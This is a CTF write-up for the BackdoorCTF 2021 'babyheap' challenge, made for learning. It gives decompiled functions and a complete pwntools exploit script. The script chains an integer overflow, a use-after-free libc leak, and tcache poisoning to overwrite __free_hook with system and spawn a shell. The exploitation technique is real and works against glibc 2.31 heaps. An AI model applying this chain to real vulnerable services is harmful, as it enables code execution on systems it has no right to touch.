Pwn Babyheap Backdoorctf2021
BackdoorCTF 2021
pwn, 500.
I didn’t manage to solve this challenge during the ctf , but i kept trying until i finished it so this is a little writeup so i can share what i learnt and for keeping it as a resource for me for next challs.
Description
A classic heap exploitation challenge but with a plot twist.
Analysis
let’s start by reversing the four main functions.
All reversing was made in IDA PRO 7.5
Create Function
unsigned __int64 main_allocate()
{
unsigned int number_of_chunks; // [rsp+Ch] [rbp-14h] BYREF
unsigned int choice; // [rsp+10h] [rbp-10h] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("How many chunks do you wanna allocate: ");
number_of_chunks = 0;
__isoc99_scanf("%u", &number_of_chunks);
puts("Select the size: ");
men_for_chunk_sizes();
choice = 0;
__isoc99_scanf("%d", &choice);
for ( i = 0; i < number_of_chunks; ++i )
{
TODO();
counter2_and_allocation(choice);
}
return __readfsqword(0x28u) ^ v4;
}
We are Prompted to enter the number of chunks we want to allocate. Then we chose the size we want from a menu.
int men_for_chunk_sizes()
{
puts("1. Large size.");
puts("2. Medium size.");
puts("3. Small size.");
return printf(">> ");
}
Then we enter a loop which loops depending on how many chunks we are going to allocate If we focus a little bit in here we can notice a strange thing happening which is we have 2 counters incrementing, We will figure out why later on.
counter2_and_allocation()
void __fastcall counter2_and_allocation(int a1)
{
unsigned int index; // ebx
int size; // [rsp+1Ch] [rbp-14h]
if ( a1 == 3 ) // small
{
size = 128;
}
else
{
if ( a1 > 3 )
return;
if ( a1 == 1 ) // large
{
size = 1040;
}
else
{
if ( a1 != 2 ) // medium
return;
size = 512;
}
}
if ( (unsigned int)index_counter > 16 )
exit(0);
index = index_counter++;
notes[index] = malloc(size);
}
TODO()
__int64 TODO()
{
return (unsigned int)++COUNTER_FROM_TODO;
}
Edit function
__int64 edit()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
printf("Index to edit: ");
index = get_input();
if ( index < 0 || index > 16 )
exit(0);
printf("Enter size: ");
size = get_input();
if ( size > 128 )
exit(0);
return read_input(*((void **)¬es + index), size);
}
Simple and clean it gets the index to edit and prompts for a size which need to not be larger than 128.
View function
int view()
{
int index; // [rsp+Ch] [rbp-4h]
printf("Index to view: ");
index = get_input();
if ( index < 0 || index > 16 )
exit(0);
return puts(*((const char **)¬es + index));
}
As simple as edit function it gets and index and shows the content of a note.
Delete function
unsigned __int64 delete()
{
unsigned __int64 result; // rax
result = (unsigned int)index_counter;
if ( index_counter )
{
if ( COUNTER_FROM_TODO > (unsigned int)index_counter )
{
fwrite("Hacking detected!!!\nExiting...\n", 1uLL, 0x1FuLL, stderr);
exit(0);
}
free(*((void **)¬es + (unsigned int)--index_counter));
--COUNTER_FROM_TODO;
result = (unsigned __int64)¬es;
*((_QWORD *)¬es + (unsigned int)COUNTER_FROM_TODO) = 0LL;
}
return result;
}
now the trick comes in here . if we are able to bypass this check where we are in a condition counter1 != counter2 and counter1 < counter2.
( COUNTER_FROM_TODO > (unsigned int)index_counter )
if we achieve that condition we can obtain a Use After Free which we can poison the forward pointer to get an arbitrary write.
How do we achieve it ?
Integer Oveflow attacks ! if you are not familliar with such topic u can refer to this article on CTF wiki
https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/
We are done with analysis let’s move on to Exploitation
Exploit
first i am going to set some helpers so i can interact with the binary .
#!/usr/bin/env python3
import time
from pwn import *
context.log_level = "DEBUG"
context.arch = 'amd64'
p = process("./main")
libc = ELF("./libc-2.31.so")
def alloc(n,c):
p.sendlineafter('>> ','1')
p.sendlineafter(': ',str(n))
p.sendlineafter(':',str(c))
def free():
p.sendlineafter('>> ','2')
def edit(idx,size,data):
p.sendlineafter('>> ','3')
p.sendlineafter(': ',str(idx))
p.sendlineafter(': ',str(size))
p.sendline(data)
def view(idx):
p.sendlineafter('>> ','4')
p.sendlineafter(': ',str(idx))
def main():
pause()
p.interactive()
if __name__ == "__main__":
main()
NB : I PATCHED THE BINARY USING PWNINIT
First Step We Leak Libc
alloc(5,1)#0 1 2 3 4 # We Allocate 5 chunks of large size so when freed it will contain fd and bk pointers which are main_arena addressess.
alloc(1,3)#5 Consolidation Prevention
alloc(int(2**32) - 6 + 3,4) # Integer Overflow Attack ( to satisfy our condition about counter1 != counter2 && counter1 < counter2 )
time.sleep(20)
free() # GOES TO TCACHE BIN
free() # THIS IS WHERE OUR CHUNK THAT HAVE LIBC ADDR
view(4)
base = u64(p.recv(6).ljust(8,b"\x00")) - 0x1ebbe0
log.success('LIBC BASE => ' + hex(base))
pause()
Second Step We do some Calculation To Pop A Shell
system = base + libc.sym['system'] # Target to execute is system("/bin/sh");
free_hook = base + libc.sym['__free_hook'] # we are going to overwrite free hook with system address
Final Step Create Overlapping Chunks To Perfom Tcache Poisining
alloc(4,2)
free()
free()
time.sleep(0.5)
edit(6,128,p64(free_hook))
alloc(2,2)
edit(7,128,p64(system))
alloc(2,1)
edit(9,128,b"/bin/sh\x00")
Now free hook is succesfully overwritten with system address we allocated a chunk and we put our string /bin/sh in it now trigger the shell we just free the last chunk which contains our string so instead of free(note[9]) it just goes like system(note[9]) which is system(“/bin/sh\x00”);
free()
Executing The exploit and sending cat flag.txt We Get
retr0{FAKE_FUCKING_FLAG}
I hope i made everything clear .
Thanks ! .
References :
https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/
https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/